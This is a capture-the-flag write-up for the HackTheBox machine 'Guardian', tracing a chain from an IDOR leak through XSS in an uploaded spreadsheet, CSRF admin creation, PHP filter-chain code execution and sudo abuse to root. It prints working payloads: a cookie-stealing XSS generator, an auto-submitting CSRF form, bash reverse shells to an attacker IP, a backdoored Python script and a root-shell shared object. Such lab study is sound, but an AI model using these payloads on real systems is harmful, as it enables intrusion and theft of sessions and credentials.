HTB: Guardian Writeup
Guardian - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Guardian |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | 24 February 2026 |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Guardian is a hard difficulty Linux machine featuring a university-themed web portal with multiple subdomains and layers of authentication bypass. The initial foothold leverages an IDOR vulnerability in the student chat feature to extract admin credentials for a Gitea repository. Source code analysis reveals a vulnerable PHPSpreadsheet version (3.7.0) exploitable via XSS, which is chained with CSRF to create an admin account. Post-exploitation involves a PHP filter-chain LFI-to-RCE attack, credential cracking, and lateral movement through a writable Python utility script. Finally, privilege escalation exploits a restricted Apache wrapper binary through symlink inclusion, demonstrating advanced exploitation techniques.
TL;DR: IDOR → Leaked Credentials → XSS via Excel → CSRF Admin Creation → PHP Filter LFI-RCE → Credential Cracking SSH → Python Script Modification → Apache Wrapper Symlink Abuse → Root
Reconnaissance
Port Scanning
nmap -p- --min-rate=1000 -T4 10.129.6.188ports=$(nmap -p- --min-rate=1000 -T4 10.129.6.188 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -sC -sV 10.129.6.188Results:
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 |
| 80 | HTTP | Apache httpd 2.4.52 (Ubuntu) |
Service Enumeration
HTTP - Port 80:
The initial HTTP request to 10.129.6.188 redirects to guardian.htb. After adding this to /etc/hosts, the site resolves to a university-themed portal with:
- Static homepage containing staff email addresses and contact information
- Student login portal accessible via button in top-right corner
- Reference to subdomain
portal.guardian.htb
Portal Discovery:
After enumerating subdomains based on the structure, the following are identified:
portal.guardian.htb- Student portal with login functionalitygitea.guardian.htb- Git repository hosting service- Additional subdomains inferred from application behavior
# Update /etc/hostsecho "10.129.6.188 guardian.htb portal.guardian.htb gitea.guardian.htb" | sudo tee -a /etc/hostsVulnerability Assessment
| Vulnerability | Location | Severity |
|---|---|---|
| IDOR in Chat Feature | /student/chat.php | Critical |
| XSS via PHPSpreadsheet | Lecturer submission viewer | High |
| CSRF Token Weakness | Admin user creation form | High |
| PHP Filter LFI | /admin/reports.php | Critical |
| Apache Wrapper Bypass | safeapache2ctl binary | Critical |
Initial Foothold
Step 1: IDOR Vulnerability in Chat Feature
The student portal accepts default credentials as documented in the help section:
Username: GU0142023 (student ID format)Password: GU1234 (default)After login, the chat feature at /student/chat.php?chat_users[0]=13&chat_users[1]=14 uses direct user IDs without proper authorization checks.
Testing IDOR:
Change the URL parameters to access different chat histories:
http://portal.guardian.htb/student/chat.php?chat_users[0]=1&chat_users[1]=2Result: Exposed admin-to-Jamil conversation containing Jamil’s Gitea credentials:
- Username:
jamil - Password:
DHsNnk3V503
Step 2: Gitea Repository Access & Source Code Review
Log into gitea.guardian.htb with extracted credentials. The organization “Guardian University” contains two repositories. The portal.guardian.htb repository contains application source code.
Key Finding in composer.json:
{ "require": { "phpoffice/phpspreadsheet": "3.7.0", "phpoffice/phpword": "^1.3" }}CVE research reveals PHPSpreadsheet 3.7.0 is vulnerable to XSS when rendering Excel files. The vulnerability is exploited in /lecturer/view-submission.php (lines 265-289):
<?php if (pathinfo('../attachment_uploads/' . $submission['attachment_name'], PATHINFO_EXTENSION) === 'xlsx'): ?> <div class="mt-8"> <h3 class="font-semibold text-gray-800 mb-3">Document Preview</h3> <div class="overflow-x-auto bg-white p-4 border border-gray-200 rounded-lg"> <?php $spreadsheet = IOFactory::load('../attachment_uploads/' . $submission['attachment_name']); $writer = new Html($spreadsheet); $writer->writeAllSheets(); echo $writer->generateHTMLAll(); ?> </div> </div><?php endif; ?>Step 3: XSS Payload Generation & File Upload
Create a malicious Excel file with embedded XSS payload:
from openpyxl import Workbookfrom base64 import b64encode
IP = "10.10.14.76" # Attacker IPPORT = 80
# Payload to exfiltrate PHPSESSID cookiePAYLOAD = f"fetch('http://{IP}:{PORT}/c?c='+document.cookie)"BASE64_ENCODED = b64encode(PAYLOAD.encode()).decode()
# XSS payload injected into sheet nameFULL_PAYLOAD = f'"><img src=x onerror=eval(atob(\'{BASE64_ENCODED}\')) >'
def create_excel_file(filename="evil.xlsx"): wb = Workbook() ws1 = wb.active ws1.title = "Sheet 1" # Sheet name containing XSS payload wb.create_sheet(title=FULL_PAYLOAD) wb.save(filename) print(f"Excel file '{filename}' created successfully.")
create_excel_file("evil.xlsx")Upload the file:
- Log in as student
GU0142023:GU1234 - Navigate to Assignments section
- Submit
evil.xlsxas an assignment
Listen for callback:
sudo nc -lvnp 80Expected output:
listening on [any] 80 ...connect to [10.10.14.76] from (UNKNOWN) [10.129.6.188] 57520GET /c?c=PHPSESSID=mmb4n77aud2h59ebffakr98c41 HTTP/1.1Extract the PHPSESSID cookie value and replace it in your browser cookies. This grants access as lecturer sammy.treat.
Step 4: CSRF Token Weakness Exploitation
From the lecturer dashboard, navigate to /lecturer/notices/create.php to create a notice. Observe the CSRF token mechanism in source code (/config/csrf-tokens.php):
<?php$global_tokens_file = __DIR__ . '/tokens.json';
function get_token_pool() { global $global_tokens_file; return file_exists($global_tokens_file) ? json_decode(file_get_contents($global_tokens_file), true) : [];}
function is_valid_token($token) { $tokens = get_token_pool(); return in_array($token, $tokens);}?>Critical Flaw: CSRF tokens are not tied to sessions—any valid token in the global pool works for any user.
Create malicious CSRF HTML:
<form action="http://portal.guardian.htb/admin/createuser.php" method="POST"> <input type="hidden" name="username" value="eviladmin" /> <input type="hidden" name="password" value="pass1234" /> <input type="hidden" name="full_name" value="Evil Admin" /> <input type="hidden" name="email" value="evil@evil.com" /> <input type="hidden" name="dob" value="2003-10-10" /> <input type="hidden" name="address" value="Hack Street" /> <input type="hidden" name="user_role" value="admin" /> <input type="hidden" name="csrf_token" value="<CSRF_TOKEN_FROM_NOTICE_FORM>"/> <script> document.forms[0].submit(); </script></form>Host the payload:
sudo python3 -m http.server 80Trigger exploit:
- Create a notice with reference link:
http://10.10.14.76/csrf.html - Admin visits the link and inadvertently creates the
eviladminaccount
Verify admin access:
Log in as eviladmin:pass1234 to the admin panel.
Step 5: PHP Filter Chain LFI-to-RCE
In the admin panel, access /admin/reports.php?report=reports/enrollment.php. The code applies insufficient validation:
<?php$report = $_GET['report'] ?? 'reports/academic.php';
if (strpos($report, '..') !== false) { die("<h2>Malicious request blocked</h2>");}
if (!preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/', $report)) { die("<h2>Access denied. Invalid file</h2>");}?>// ...<?php include($report); ?>Bypass using PHP filters:
The regex only checks if the filename ends with the allowed extensions. Bypass using:
http://portal.guardian.htb/admin/reports.php?report=php://filter/read=convert.base64-encode/resource=reports/enrollment.phpGenerate filter chain for RCE:
Clone the filter chain generator:
git clone https://github.com/synacktiv/php_filter_chain_generatorcd php_filter_chain_generatorCreate shell payload file:
# On attacker machineecho 'bash -c "bash -i >& /dev/tcp/10.10.14.76/9001 0>&1"' > /tmp/shellpython3 -m http.server 80Generate two chains—one to download, one to execute:
# Chain 1: Download shell scriptpython3 php_filter_chain_generator.py --chain '<?php exec("wget 10.10.14.76/shell"); ?>'
# Output example:# php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...|convert.base64-decode/resource=reports/enrollment.php# Chain 2: Execute shellpython3 php_filter_chain_generator.py --chain '<?php exec("cat shell| sh"); ?>'Set up listener:
nc -lvnp 9001Execute both chains in browser/curl:
curl "http://portal.guardian.htb/admin/reports.php?report=php://filter/convert.iconv.UTF8.CSISO2022KR|...truncated.../convert.base64-decode/resource=reports/enrollment.php"Result: Reverse shell as www-data
Lateral Movement
Step 1: Database Credential Extraction
From the web root, extract database credentials from configuration:
www-data@guardian:~/portal.guardian.htb$ cat config/config.phpCredentials found:
- Host:
localhost - User:
root - Password:
Gu4rd14n_un1_1s_th3_b3st - Database:
guardiandb
Step 2: Password Hash Cracking
Connect to MySQL and extract user hashes:
mysql -h 127.0.0.1 -u root -p# Enter: Gu4rd14n_un1_1s_th3_b3st
use guardiandb;select username, password_hash from users;Extract hashes of system users:
jamil.enockson: c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250mark.pargetter: 8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10eHash format: SHA256 with salt 8Sb)tM1vs1SS appended to password.
Create hashcat input file:
c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e:8Sb)tM1vs1SSCrack with hashcat:
hashcat -a 0 -m 1410 hashes /usr/share/wordlists/rockyou.txt --showResult:
c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS:copperhouse56Step 3: SSH Access as Jamil
ssh jamil@guardian.htb# Password: copperhouse56
jamil@guardian:~$ iduid=1000(jamil) gid=1000(jamil) groups=1000(jamil),1002(admins)Retrieve user flag:
cat /home/jamil/user.txt# <redacted>Step 4: Sudo Enumeration & Script Modification
jamil@guardian:~$ sudo -lMatching Defaults entries for jamil on guardian: env_reset, mail_badpass, secure_path=..., use_pty
User jamil may run the following commands on guardian: (mark) NOPASSWD: /opt/scripts/utilities/utilities.pyExamine the Python utilities script:
cat /opt/scripts/utilities/utilities.pyThe script calls functions from /opt/scripts/utilities/utils/ modules. Check file permissions:
ls -al /opt/scripts/utilities/utils/Key finding: status.py is writable by the admins group (which includes jamil):
-rwxrwx--- 1 mark admins 253 Apr 26 2025 status.pyModify status.py to inject reverse shell:
# Original content preserved with added payloadimport platformimport psutilimport os
def system_status(): print("System:", platform.system(), platform.release()) print("CPU usage:", psutil.cpu_percent(), "%") print("Memory usage:", psutil.virtual_memory().percent, "%")
# Injected reverse shell os.system("bash -c 'bash -i >& /dev/tcp/10.10.14.76/9001 0>&1'")Update the file:
cat > /opt/scripts/utilities/utils/status.py << 'EOF'import platformimport psutilimport os
def system_status(): print("System:", platform.system(), platform.release()) print("CPU usage:", psutil.cpu_percent(), "%") print("Memory usage:", psutil.virtual_memory().percent, "%") os.system("bash -c 'bash -i >& /dev/tcp/10.10.14.76/9001 0>&1'")EOFListen for connection:
nc -lvnp 9001Execute exploit:
jamil@guardian:~$ sudo -u mark /opt/scripts/utilities/utilities.py system-statusResult: Shell as mark
mark@guardian:/opt/scripts/utilities/utils$ iduid=1001(mark) gid=1001(mark) groups=1001(mark),1002(admins)Privilege Escalation
Step 1: Sudo Enumeration for Mark
mark@guardian:~$ sudo -lMatching Defaults entries for mark on guardian: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty
User mark may run the following commands on guardian: (ALL) NOPASSWD: /usr/local/bin/safeapache2ctlStep 2: Binary Analysis
Test the binary:
mark@guardian:~$ sudo /usr/local/bin/safeapache2ctlUsage: /usr/local/bin/safeapache2ctl -f /home/mark/confs/file.confExtract and decompile the binary for analysis:
# On remote machine, serve binarymark@guardian:/usr/local/bin$ python3 -m http.server 8080
# On attacker machinewget http://guardian.htb:8080/safeapache2ctlUsing Ghidra/IDA, the binary implements:
- Validates
-fflag with path restricted to/home/mark/confs/ - Checks
is_unsafe_line()to block external file includes - Uses
realpath()to prevent directory traversal - Weakness: Symlinks within allowed directory are not blocked
Step 3: Symlink Exploitation via Include Directive
Apache’s Include directive can reference symlinks. Create configuration and symlink within allowed directory:
mark@guardian:~$ mkdir -p /home/mark/confsCreate Apache configuration:
cat > /home/mark/confs/file.conf << 'EOF'LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.soServerRoot "/etc/apache2"PidFile /tmp/fake.pidListen 9999ServerName localhost
# Include symlink in allowed directoryInclude /home/mark/confs/linkEOFCreate symlink to root flag:
mark@guardian:~$ ln -s /root/root.txt /home/mark/confs/linkExecute with sudo:
mark@guardian:~$ sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/file.confOutput:
AH00526: Syntax error on line 1 of /home/mark/confs/link:Invalid command '<REDACTED_FLAG_CONTENT>', perhaps misspelled or defined by a module not included in the server configurationThe error message contains the root flag content!
Alternative: LoadFile RCE Method
For interactive root shell, compile malicious shared object:
#include <unistd.h>#include <stdio.h>#include <stdlib.h>#include <string.h>
static void __attribute__ ((constructor)) _init(void);
static void _init(void) { printf("[+] Pwn library loaded!\n");
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *argv[] = { "sh", NULL }; static char *envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL }; execve("/bin/sh", argv, envp);
printf("[!] This should not be reached!\n");}Compile:
mark@guardian:/tmp$ gcc -shared -fPIC -o /tmp/evil.so evil.cUpdate configuration to load malicious library:
cat > /home/mark/confs/file.conf << 'EOF'ServerRoot "/etc/apache2"PidFile /tmp/fake.pidListen 9999LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.soLoadFile /tmp/evil.soEOFExecute:
mark@guardian:~$ sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/file.conf[+] Pwn library loaded!# iduid=0(root) gid=0(root) groups=0(root)Retrieve root flag:
# cat /root/root.txt# <redacted>Attack Chain Summary
IDOR (Chat) ↓Leaked Jamil Credentials ↓Gitea Source Code Access ↓PHPSpreadsheet 3.7.0 XSS Vulnerability Identified ↓Malicious Excel Upload ↓Lecturer Session Hijacking (XSS) ↓CSRF Token Pool Weakness ↓Admin Account Creation (CSRF) ↓Admin Panel Access ↓PHP Filter Chain LFI Bypass ↓Filter-Chain RCE ↓www-data Shell ↓MySQL Credential Extraction ↓Hash Cracking (Jamil Password: copperhouse56) ↓SSH as Jamil ↓Writable status.py Modification ↓Reverse Shell as Mark (via sudo) ↓safeapache2ctl Binary Exploitation ↓Symlink + Apache Include Directive ↓Root Flag/Shell AccessTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl/wget | HTTP requests and file downloads |
hashcat | Password hash cracking (SHA256) |
mysql | Database credential extraction |
ssh | Remote shell access |
nc | Reverse shell listener |
openpyxl | Malicious Excel file generation |
git | Source code review |
gcc | Shared object compilation |
Ghidra/IDA | Binary decompilation and analysis |
python3 | Scripting and HTTP server |
Key Learnings
Techniques Practiced
- IDOR Exploitation: Direct object reference vulnerability in chat parameters to escalate access
- XSS via Office Documents: Exploiting deprecated library versions in document processing
- CSRF with Weak Token Management: Abusing stateless CSRF tokens for unauthorized admin creation
- PHP Filter Chains: Advanced LFI bypass using iconv and base64 encoding chains for RCE
- Password Hash Cracking: SHA256 with salt extraction and dictionary attacks
- Binary Analysis: Decompiling to identify security flaws in wrapper binaries
- Symlink Exploitation: Bypassing path restrictions via symlinks in allowed directories
- Apache Configuration Abuse: Leveraging Include directives as an escalation vector
- Shared Object Injection: Constructor functions for privilege escalation
Lessons Learned
-
Input Validation Requires Context: Regex patterns must account for multiple encoding/bypass techniques (e.g., PHP filters, null bytes, symlinks)
-
Token Management Matters: CSRF tokens tied to sessions, not global pools—validate token-user binding
-
Library Versioning is Critical: Always audit dependency versions against CVE databases, even in “old” code
-
Permission Granularity: Group memberships (admins group for jamil) can grant unintended escalation paths
-
File Inclusion Attacks Evolve: Modern PHP exploitation requires understanding filter chains, wrappers, and Apache directives beyond simple path traversal
-
Wrapper Binaries Need Hardening: Symlink checks via
realpath()are insufficient if Include directives are still available -
Multi-layer Exploitation: Real vulnerabilities often require chaining 5+ distinct techniques across services
-
Database Access ≠ Endpoint Security: Leaked database credentials are an underrated escalation vector
-
Default Credentials Still Reign: Even with modern frameworks, default passwords remain the quickest entry point
-
XSS + Session Hijacking: Office document vulnerabilities are often overlooked as initial foothold vectors
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>